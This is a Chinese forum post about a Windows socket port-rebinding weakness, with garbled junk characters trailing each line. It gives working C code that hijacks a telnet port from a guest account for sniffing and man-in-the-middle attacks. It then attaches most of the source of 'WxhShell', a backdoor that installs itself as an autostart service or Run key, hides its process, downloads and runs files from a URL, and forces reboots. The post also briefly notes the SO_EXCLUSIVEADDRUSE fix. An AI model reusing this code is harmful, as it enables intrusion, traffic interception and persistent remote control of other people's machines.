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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: br\3}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lr&2,p<  
4W>DW`{  
  saddr.sin_family = AF_INET; tN{0C/B9  
l&H-<Z.8m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {A}T^q!m]  
. r/s.g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (s'xO~p  
` k] TOc  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &tOo[U?  
yK{P%oh)  
  这意味着什么?意味着可以进行如下的攻击: L' y0$  
R5sEQ| E  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 C5=^cH8  
)F9IzR-&m  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #7fOH U8v  
jHq+/\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I85wP}c(  
oX6C d:c-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >uCO=T,|  
PCCE+wC6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z{R Mb  
8h ol4'B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3@F U-k,i  
/:!sn-(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Mx}r! Q  
@!$xSH  
  #include ,$]m1|t@z  
  #include #8d#Jw  
  #include S> Fb'rJ3  
  #include    IlEU6Rs  
  DWORD WINAPI ClientThread(LPVOID lpParam);   e ,XT(KY  
  int main() Q*1Avy6]  
  { li3X}  
  WORD wVersionRequested; pTAm}  
  DWORD ret; ;zqxDl_  
  WSADATA wsaData; K*~xy bA  
  BOOL val; 8\il~IFyi  
  SOCKADDR_IN saddr; 8?~>FLWTXZ  
  SOCKADDR_IN scaddr; SP0ueAa}  
  int err; ^C,rN;mX'  
  SOCKET s; i@{b+5$  
  SOCKET sc; Tu:lIy~A  
  int caddsize; Jn(|.eT|  
  HANDLE mt; O-AC$C[d  
  DWORD tid;   )~)T[S  
  wVersionRequested = MAKEWORD( 2, 2 ); kb-XEJ}L  
  err = WSAStartup( wVersionRequested, &wsaData ); ;180ct4  
  if ( err != 0 ) { 1xxTI{'g[  
  printf("error!WSAStartup failed!\n"); BDN}`F[F  
  return -1; JA >&$h  
  } *h?*RUQ  
  saddr.sin_family = AF_INET; BDp(&=ktq  
   axG%@5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NrcV%-+u%  
B <Jxj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); RCkmxO;b&  
  saddr.sin_port = htons(23); <MxA;A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }2=~7&)  
  { c7rC!v  
  printf("error!socket failed!\n"); s]vsD77&  
  return -1; &~"N/o  
  } z'Bvjul  
  val = TRUE; p@$92> '  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 o/U}G,|G  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mv<cyWp  
  { ?zo7.R-Vac  
  printf("error!setsockopt failed!\n"); }m!T~XR</  
  return -1; x}C$/7^  
  } (>Sy,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  LWo)x  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JpQV7}$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lfoPFJ Z  
hzV%QDUpe  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Mt4`~`6  
  { *{fZA;<R  
  ret=GetLastError(); }Ej^"T:H_;  
  printf("error!bind failed!\n"); j%!xb><  
  return -1; IFSIQ q  
  } CyS.GdyP  
  listen(s,2); AfW:'>2  
  while(1) TIV|7nKL  
  { <95*z @  
  caddsize = sizeof(scaddr); +C$wkx]  
  //接受连接请求 ZU:c[`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); AWZ4h,as{  
  if(sc!=INVALID_SOCKET) 4YMUkwh  
  { OoOwEV2p_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <SRSJJR|(  
  if(mt==NULL) Ze`ms96j{  
  { m,J9:S<5;  
  printf("Thread Creat Failed!\n"); FOa2VP%  
  break; ,=6;dT  
  } neWx-O  
  } u_=>r_J[b  
  CloseHandle(mt); t-FrF</ 0  
  } $a')i<m^g  
  closesocket(s); yX\~ {%  
  WSACleanup(); ;S2/n$Ju_  
  return 0; O sIvW'$\  
  }   P; =,Q$e8  
  DWORD WINAPI ClientThread(LPVOID lpParam) #1>c)_H  
  { ?cr^.LV|h^  
  SOCKET ss = (SOCKET)lpParam; xqVIw!J?/}  
  SOCKET sc; U,9=&"e b  
  unsigned char buf[4096]; Jpe\  
  SOCKADDR_IN saddr; Nrp1`qY  
  long num; P= 26! b  
  DWORD val; v~O2y>8Z  
  DWORD ret; oFJx8XU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ! "^//2N+,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +_fxV|}P  
  saddr.sin_family = AF_INET; kEdAt5/U{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 62OZj%CXN  
  saddr.sin_port = htons(23); LZpqv~av  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u_)'}  
  { k8sjW!2  
  printf("error!socket failed!\n"); $T'lWD*  
  return -1; [{-;cpM \  
  } ue6&)7:~  
  val = 100; *Q3q(rdrp  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^paM{'J\\)  
  { /9u12R*<  
  ret = GetLastError(); nrZZkQNI  
  return -1; A3e83g~L  
  } 9<!Ie^o?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )e\IdKl=  
  { XgZ.UT  
  ret = GetLastError(); XCZNvLG  
  return -1; /`B:F5r  
  } x_KJCU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) v+2t;PJd2  
  { 7gbu7"Qc  
  printf("error!socket connect failed!\n"); ON3~!Q)  
  closesocket(sc); >^KO5N-:4  
  closesocket(ss); r7:4| 6E  
  return -1; bu r0?q  
  } &qFy$`"  
  while(1) $]]|#}J  
  { <bOi}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $~.'Tnk)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |rk4,NG.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -6>T0-  
  num = recv(ss,buf,4096,0); r`CsR0[  
  if(num>0) OM7EmMa;  
  send(sc,buf,num,0); u"1Zv!  
  else if(num==0) Hk|wO:7Be  
  break; g~$cnU  
  num = recv(sc,buf,4096,0); |"EQyV  
  if(num>0) 4] I7t  
  send(ss,buf,num,0); KP]{=~(  
  else if(num==0) vq JjAls  
  break; S_56!  
  } _0e;&2')  
  closesocket(ss); w+3-j  
  closesocket(sc); NXDuO_#  
  return 0 ; zH+a*R  
  } CrI:TB>/ "  
},G5!3  
g flu!C6  
========================================================== LYyOcb[x  
.~dNzonq  
下边附上一个代码,,WXhSHELL ;JQ;LbEn  
qm=N@@R&  
========================================================== EAXbbcV  
1$ C\ `  
#include "stdafx.h" \B~}s}  
?T <2Cl'C  
#include <stdio.h> u IGeSd5B  
#include <string.h> dBMr%6tz  
#include <windows.h> =6:>C9  
#include <winsock2.h> J PK( S~  
#include <winsvc.h> <C,lHt  
#include <urlmon.h>  - }9a%  
j]' 7"b5  
#pragma comment (lib, "Ws2_32.lib") ^8eu+E.{  
#pragma comment (lib, "urlmon.lib") avo[~ `.  
RwptFO  
#define MAX_USER   100 // 最大客户端连接数 jLG Q^v"  
#define BUF_SOCK   200 // sock buffer a$ FO5%o  
#define KEY_BUFF   255 // 输入 buffer VsM~$ )  
V t@]  
#define REBOOT     0   // 重启 ;4ETqi9  
#define SHUTDOWN   1   // 关机 m<uBRI*I  
"WE*ED  
#define DEF_PORT   5000 // 监听端口 tjTnFP/=  
pw5uH  
#define REG_LEN     16   // 注册表键长度 %ryYa  
#define SVC_LEN     80   // NT服务名长度 +:?"P<'  
}grel5lq  
// 从dll定义API Ryrvu1 k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?m>!P@ M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [=q&5'FY0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^J-\s_)"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NhYce>  
B78e*nNS#2  
// wxhshell配置信息 _)? 59  
struct WSCFG { n6]8W^g  
  int ws_port;         // 监听端口 %RS8zN  
  char ws_passstr[REG_LEN]; // 口令 =7212('F  
  int ws_autoins;       // 安装标记, 1=yes 0=no HSsG0&'-Y  
  char ws_regname[REG_LEN]; // 注册表键名 p`-Oz]  
  char ws_svcname[REG_LEN]; // 服务名 ic(`Ev  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (!B1} 5"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sbi+o,%1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u#"L gG.X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &nyJ :?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xaG( 3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \T]'d@Wyd  
*kE<7  
}; Q=~ *oYR  
78fFAN`  
// default Wxhshell configuration -- chU5  
struct WSCFG wscfg={DEF_PORT, Qaeg3f3F3  
    "xuhuanlingzhe", .Do(iYO.L  
    1, T z?0E"yx  
    "Wxhshell", ]d]rV `RF  
    "Wxhshell", 3q*p#l~  
            "WxhShell Service", Uop`)  
    "Wrsky Windows CmdShell Service", `!A<XiAOmM  
    "Please Input Your Password: ", ]Ll<Z  
  1, {oK4 u  
  "http://www.wrsky.com/wxhshell.exe", |)}&: xA%  
  "Wxhshell.exe" Ufr,6IX  
    }; zIT)Hs5  
;*}tbh3;.  
// 消息定义模块 |s$w i>7l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z_.xglq{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L.tW]43K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fS#I?!*}  
char *msg_ws_ext="\n\rExit."; 6( 0ME$  
char *msg_ws_end="\n\rQuit."; 8.m9 =+)8  
char *msg_ws_boot="\n\rReboot..."; ]w;!x7bU(  
char *msg_ws_poff="\n\rShutdown..."; !5XH.DYq!  
char *msg_ws_down="\n\rSave to "; |%l&H/  
R Q2DTQ-$  
char *msg_ws_err="\n\rErr!"; "vL,c]D  
char *msg_ws_ok="\n\rOK!"; C!z7sOu  
=)mA.j}E2  
char ExeFile[MAX_PATH]; I->BDNk  
int nUser = 0; ,z0~VS:g8  
HANDLE handles[MAX_USER]; 'YTSakNJ}  
int OsIsNt; 1@W*fVn  
ZD;1{  
SERVICE_STATUS       serviceStatus; x@*!MC #  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J=sj+:GS  
_ ,~D]JYE  
// 函数声明 mo()l8  
int Install(void); VkJBqRzBOa  
int Uninstall(void); ;5PBZ<w  
int DownloadFile(char *sURL, SOCKET wsh); sf5F$  
int Boot(int flag); @D@_PA)e(  
void HideProc(void); cy @",z  
int GetOsVer(void); dlJc~|  
int Wxhshell(SOCKET wsl); G~nQR qv  
void TalkWithClient(void *cs); !<#,M9 EA&  
int CmdShell(SOCKET sock); i_<GSUTTr/  
int StartFromService(void); vg;9"A!(  
int StartWxhshell(LPSTR lpCmdLine); jH~VjE>  
*)u%KYGr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H05xt$J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %  db  
DT#F?@LG(  
// 数据结构和表定义 m:x<maP# E  
SERVICE_TABLE_ENTRY DispatchTable[] = mP[ZlS~"  
{ z=1N}l~|*  
{wscfg.ws_svcname, NTServiceMain}, Zv&<r+<g  
{NULL, NULL} Mv\]uAT`  
}; *aaK_=w  
&r0U9J  
// 自我安装 M>g%wg7Ah  
int Install(void) X 3q2XU  
{ ~A$y-Dt'  
  char svExeFile[MAX_PATH]; ~;/}D0k$x  
  HKEY key; ^={s(B2  
  strcpy(svExeFile,ExeFile);  Xn=  
+b_o2''  
// 如果是win9x系统,修改注册表设为自启动 g?OC-zw  
if(!OsIsNt) { ,LftQ1*;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >#[,OU}N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EaN1xb(DYa  
  RegCloseKey(key); h}&1 7M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bSgdVP-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $*q^7ME  
  RegCloseKey(key); S\<nCkE^  
  return 0; UR<a7j"@2  
    } AXT(D@sI=  
  } /w "h'u  
} o_R_  
else { ffI z>Of:  
ZWXA%u7V  
// 如果是NT以上系统,安装为系统服务 V_"UiN"o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !Y^3%B%  
if (schSCManager!=0) Hkzx(yTi  
{ '1vm]+oM  
  SC_HANDLE schService = CreateService 88g|(k/  
  ( 0f9*=c  
  schSCManager, Cc&SHG*R  
  wscfg.ws_svcname, g(QT"O!dY  
  wscfg.ws_svcdisp, |{ TVW  
  SERVICE_ALL_ACCESS, x.kIzI5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PQvpJFpb~h  
  SERVICE_AUTO_START, SbK6o:[  
  SERVICE_ERROR_NORMAL, JxmFUheLt  
  svExeFile, "(+p1  
  NULL, |] cFsB#G  
  NULL, D*}_L   
  NULL, m TgsvC  
  NULL, lOEB ,/P  
  NULL witx_r  
  ); Y>Ju$i  
  if (schService!=0) Lpv,6#m`)  
  { ')zf8>,  
  CloseServiceHandle(schService); U^ ;H{S  
  CloseServiceHandle(schSCManager); vR*p1Kq:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y#v<V1b]  
  strcat(svExeFile,wscfg.ws_svcname); t~_bquGk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h[i@c`3 /2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 12LGWhDp  
  RegCloseKey(key); )SzgMbF6  
  return 0; 8fWk C<f}  
    } \V%l.P4>e  
  } m<I>NYfE  
  CloseServiceHandle(schSCManager); <_3OiU= w  
} *IQQsfL)  
} ]US  
pE381Cw  
return 1; [Z2mH  
} GZzBATx  
0P l>k'9  
// 自我卸载 7p_B?r  
int Uninstall(void) ^,{ r[}  
{ 4_W*LG~2s  
  HKEY key; )MeeF-Ad6  
6H ^=\  
if(!OsIsNt) { Dks"(0g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _fjHa6S  
  RegDeleteValue(key,wscfg.ws_regname); :rSCoi>K  
  RegCloseKey(key); ~%!"!Z4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {   |Sr  
  RegDeleteValue(key,wscfg.ws_regname); WwF2Ry^a  
  RegCloseKey(key); cI (}  
  return 0; CfEACH4_  
  } '7JM/AcC#K  
} -)9aY.  
} <%"o-xZq7C  
else { FO{?Z%& ;  
Ctx{rf_~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ukc<yc].+?  
if (schSCManager!=0) Jxsch\  
{ |Ng}ZLBM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 89P'WFOFK  
  if (schService!=0) kzmw1*J  
  { ,b9!\OWDF  
  if(DeleteService(schService)!=0) { J0FJ@@  
  CloseServiceHandle(schService); L XHDX  
  CloseServiceHandle(schSCManager); h@jk3J9^  
  return 0; 7bYN  
  } l?O%yf`s  
  CloseServiceHandle(schService); )7  M  
  } tQ,3nI!|xF  
  CloseServiceHandle(schSCManager); gt\*9P   
} a[ yyEgm2  
} y`a]##1j$M  
mGh8/Xt  
return 1; /3j3'~0  
} s[Whg!2~  
*]*0uo  
// 从指定url下载文件 <2t%<<%  
int DownloadFile(char *sURL, SOCKET wsh) 5%]O'h  
{ O"9Or3w  
  HRESULT hr; Y*0j/91  
char seps[]= "/"; 6kHuKxY,  
char *token; hxkwT  
char *file; ( 9(NP_s  
char myURL[MAX_PATH];  :X 9_~  
char myFILE[MAX_PATH]; $f AZ^   
?X@uR5?{  
strcpy(myURL,sURL); @dc4v_9  
  token=strtok(myURL,seps); {r?+PQQ#  
  while(token!=NULL)  L0>7v  
  { WZ N0`Od  
    file=token; <lP5}F87  
  token=strtok(NULL,seps); >!PCEw<i  
  } p%-;hL!  
.o)  
GetCurrentDirectory(MAX_PATH,myFILE); S z-TarTF  
strcat(myFILE, "\\"); D-Q54"^3  
strcat(myFILE, file); q.ZkQN+  
  send(wsh,myFILE,strlen(myFILE),0); q0KGI/5s4+  
send(wsh,"...",3,0); n!h952"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ww =ksggpB  
  if(hr==S_OK) C}]143a/Q  
return 0; IgEVz^W?h  
else 8=-#LVo~c  
return 1; " nLWvV1  
SI/3Dz[  
} AA5UOg\jI  
B pp(5  
// 系统电源模块 WDF6.i ?  
int Boot(int flag) ]F sr k  
{ Q*8efzgs|  
  HANDLE hToken; HXgf=R/$  
  TOKEN_PRIVILEGES tkp; z6Zd/mt~x  
P\&n0C~  
  if(OsIsNt) { >:|jds#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7~H"m/;U&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a0PClbf2.  
    tkp.PrivilegeCount = 1; 8gW$\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,'byJlw_pv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zcOG[-  
if(flag==REBOOT) { q OV$4[r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VLC=>w\,  
  return 0; 22R ,  
} >'v{o{k|C  
else { "@L|Z6U(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p~z\&&0U0  
  return 0; GRAPv|u9[  
} -# /'^O +%  
  } : 2A\X' @  
  else { =xr2-K)e  
if(flag==REBOOT) { m6o o-muAr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;-VXp80J  
  return 0; H(DI /"N  
} gH/(4h  
else { <*z9:jz Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e7n` fEpO  
  return 0; `gdk,L]  
} (t"e#b(:  
} NW~`oc)NS  
9^@#Ua  
return 1; e/zz.cd){  
} &"=<w  
!=]cASPGD  
// win9x进程隐藏模块 9G)fJr  
void HideProc(void) <AB({(  
{ 7upN:7D-  
M<xF4L3]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); te+r.(p  
  if ( hKernel != NULL ) cD9.L  
  { m 3Do+!M[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \iAs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d[sY]_ dj  
    FreeLibrary(hKernel); H'jo 3d~+  
  } yK w.69.  
^F87gow%`B  
return; EO"G(v  
} |t_SN,)dd  
-~]]%VJP|  
// 获取操作系统版本 bE b+oRI  
int GetOsVer(void) QoS]QY'bZ  
{ `FmRoMW9+  
  OSVERSIONINFO winfo; T_oL/x_;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M! uE#|  
  GetVersionEx(&winfo); hzrS_v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l:j>d^V*&x  
  return 1; B1 xlWdm  
  else {$'oKJy*  
  return 0; dyt.( 2  
} )pw53,7>aN  
uwu`ms7z 2  
// 客户端句柄模块 !$#8Z".{v{  
int Wxhshell(SOCKET wsl) P.kf|,8 L  
{ `FAZAC\  
  SOCKET wsh; y>& s;  
  struct sockaddr_in client; iM~qSRb#mJ  
  DWORD myID; #yOn /  
f&? 8fB8{  
  while(nUser<MAX_USER) eMUs w5=  
{ a4eE/1  
  int nSize=sizeof(client); uk)D2.eS,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C0;:")6~  
  if(wsh==INVALID_SOCKET) return 1; CFG(4IMx  
Fr1OzS^&(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gk4DoOj#P  
if(handles[nUser]==0) .}3K9.hkr  
  closesocket(wsh); z/|tsVK  
else >C -N0H  
  nUser++; R?}<Cj I  
  } yi,Xs|%.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bqRO-\vO  
'|nAGkA  
  return 0; K4^mG  
} )gNVJ  
r_3=+  
// 关闭 socket Y {2L[5_1  
void CloseIt(SOCKET wsh) % r0AhWv  
{ Hf9F:yH  
closesocket(wsh); zJG=9C?  
nUser--; 5>&C.+A 9  
ExitThread(0); ^']*UD;  
} td|O#R  
XO}v8nWV  
// 客户端请求句柄 w s7LDY&(  
void TalkWithClient(void *cs) w>&g'  
{ YH{FTVOt{C  
PRN%4G  
  SOCKET wsh=(SOCKET)cs; .%_=(C< E  
  char pwd[SVC_LEN]; rG{,8*  
  char cmd[KEY_BUFF]; pR3K~bx^  
char chr[1]; ;%4N@Z  
int i,j; c)zwyBz  
Z)G@ahO Q  
  while (nUser < MAX_USER) { 77;|PKE /  
`,)%<}  
if(wscfg.ws_passstr) { M$2lK^2L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @T~~aQFk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yGlOs]>n  
  //ZeroMemory(pwd,KEY_BUFF); e%KCcU  
      i=0; Kj* $'('  
  while(i<SVC_LEN) { YT)@&HaF  
lVS.XQ2<  
  // 设置超时 'E%+ O  
  fd_set FdRead; ;a`I8Fj  
  struct timeval TimeOut; Fd>epvR  
  FD_ZERO(&FdRead); w'<"5F`  
  FD_SET(wsh,&FdRead); )OV2CP  
  TimeOut.tv_sec=8; AP(%m';  
  TimeOut.tv_usec=0; I=&Kn@^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9l}G{u9a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nrCr9#  
2w>yW]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YfVZ59l4y6  
  pwd=chr[0]; bw OG|\  
  if(chr[0]==0xd || chr[0]==0xa) { myDcr|j-a  
  pwd=0; Og(|bs!6  
  break; 7aeyddpM  
  } B S+=*3J  
  i++; "ac$S9@~  
    } @fI 2ZWN|  
%Su,  
  // 如果是非法用户,关闭 socket >npFg@A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '))=y@M  
} zN,2 (v"  
SsQg8d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `h$^=84  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l6< bV#_qe  
h|[oQ8)  
while(1) { `r*bG=  
] F2{:RW  
  ZeroMemory(cmd,KEY_BUFF); ]McDN[h:  
g5~wdhpb  
      // 自动支持客户端 telnet标准   u51Lp  
  j=0; 5U<;6s  
  while(j<KEY_BUFF) { \mDBOC0eK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BVv{:m{w  
  cmd[j]=chr[0]; '"J``=  
  if(chr[0]==0xa || chr[0]==0xd) { N_f>5uv  
  cmd[j]=0; 9NausE40  
  break; =J^FV_1rJ  
  } v42Z&PO   
  j++; L'<.#(|  
    } d`4F  
I'%ASZ  
  // 下载文件 9M1UkS$`@  
  if(strstr(cmd,"http://")) { zAO|{m<A2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hbE~.[Y2r  
  if(DownloadFile(cmd,wsh)) 3V@!}@y,F6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w*B4>FYg  
  else .X{U\{c|a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aui3Mq#f  
  } (z IIC"~5  
  else { f"0?_cG{%  
O@sJ#i>  
    switch(cmd[0]) { a_o99lP  
  z9HUI5ns  
  // 帮助 v?`DP  
  case '?': { kr>F=|R]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TV*@h2C"i  
    break; E{}Vi>@V?  
  } z*G(AcS)  
  // 安装 2t`d. s=  
  case 'i': { R![4|FR  
    if(Install()) >2dF^cDE-3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ==Bxv:6  
    else ,_RPy2N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K)9+3(?  
    break; g0A,VX:2  
    } v}BXH4&Y  
  // 卸载 &KVXU0F^z  
  case 'r': { L~ e{Vv8UR  
    if(Uninstall()) ]$i~;f 8I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +<w\K*  
    else T{zz3@2?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yf2$HF  
    break; p+; La  
    } }<g- 0&GLm  
  // 显示 wxhshell 所在路径 |!"qz$8fB  
  case 'p': { @]X5g8h  
    char svExeFile[MAX_PATH]; $gysy!2}.  
    strcpy(svExeFile,"\n\r"); ]%Z7wF</  
      strcat(svExeFile,ExeFile); pX]"^f1?O  
        send(wsh,svExeFile,strlen(svExeFile),0); >0.a#-u^  
    break; ?$0t @E  
    } v7G&`4~  
  // 重启 2*}qQ0J  
  case 'b': { lbiMB~rwI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y(*#0fJrTV  
    if(Boot(REBOOT)) .yb=I6D;<3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kld#C51X f  
    else { S F&EVRv  
    closesocket(wsh); Kzrt%DA  
    ExitThread(0); L5A?9zum/!  
    } Rg~F[j$N  
    break; m! _*Q  
    } T9&bY>f?  
  // 关机 <}bF49z  
  case 'd': { ##|]el%Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &~#y-o"  
    if(Boot(SHUTDOWN)) o 6A1;e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -9~WtTaV.H  
    else { a474[?  
